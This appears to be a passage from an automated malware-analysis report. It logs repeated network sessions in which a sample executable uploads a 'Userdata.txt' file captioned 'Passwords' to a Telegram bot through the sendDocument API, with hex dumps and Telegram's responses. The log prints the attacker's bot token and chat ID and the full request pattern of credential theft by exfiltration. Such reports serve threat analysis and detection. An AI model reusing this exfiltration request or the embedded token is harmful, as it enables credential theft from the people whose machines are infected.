3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 34 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43672,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548745,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49858	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:06 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31e06c304c60 Host: api.telegram.org Content-Length: 1090
2025-01-10 22:39:06 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 65 30 36 63 33 30 34 63 36 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31e06c304c60Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:07 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:07 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 34 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43673,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548747,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49870	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:08 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31f529a64ad4 Host: api.telegram.org Content-Length: 1090
2025-01-10 22:39:08 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 66 35 32 39 61 36 34 61 64 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31f529a64ad4Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:08 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:08 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:08 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 37 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 34 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43674,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548748,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49882	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:10 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3209d84e4e33 Host: api.telegram.org Content-Length: 1090
2025-01-10 22:39:10 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 30 39 64 38 34 65 34 65 33 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3209d84e4e33Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:10 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:10 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:10 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 35 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43675,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548750,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49894	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:11 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd321e78449c5f Host: api.telegram.org Content-Length: 1090
2025-01-10 22:39:11 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 31 65 37 38 34 34 39 63 35 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd321e78449c5fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:12 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:12 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:12 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 37 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 35 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43676,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548752,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49909	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:13 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3233099429ec Host: api.telegram.org Content-Length: 1090
2025-01-10 22:39:13 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 33 33 30 39 39 34 32 39 65 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3233099429ecContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:13 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:13 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:13 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 37 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 35 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43677,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548753,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49920	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:15 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32478c38febd Host: api.telegram.org Content-Length: 1090
2025-01-10 22:39:15 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 34 37 38 63 33 38 66 65 62 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32478c38febdContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:15 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:15 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:15 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 35 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43678,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548755,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49933	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:16 UTC	272	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd325eb93757f9 Host: api.telegram.org Content-Length: 1090
2025-01-10 22:39:16 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 35 65 62 39 33 37 35 37 66 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd325eb93757f9Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 22:39:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 22:39:17 GMT Content-Type: application/json Content-Length: 543 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 22:39:17 UTC	543	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 33 36 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 31 36 32 39 31 35 38 34 37 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 54 5a 53 55 52 45 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 38 37 35 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e Data Ascii: {"ok":true,"result":{"message_id":43679,"from":{"id":7162915847,"is_bot":true,"first_name":"GTZSURE","username":"GTZSURE_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1736548757,"document":{"file_n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49945	149.154.167.220	443	5296	C:\Users\user\Desktop\czHx16QwGQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 22:39:18 UTC	296	OUT	POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3270658e9d73 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 22:39:18 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 37 30 36 35 38 65 39 64 37 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3270658e9d73Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
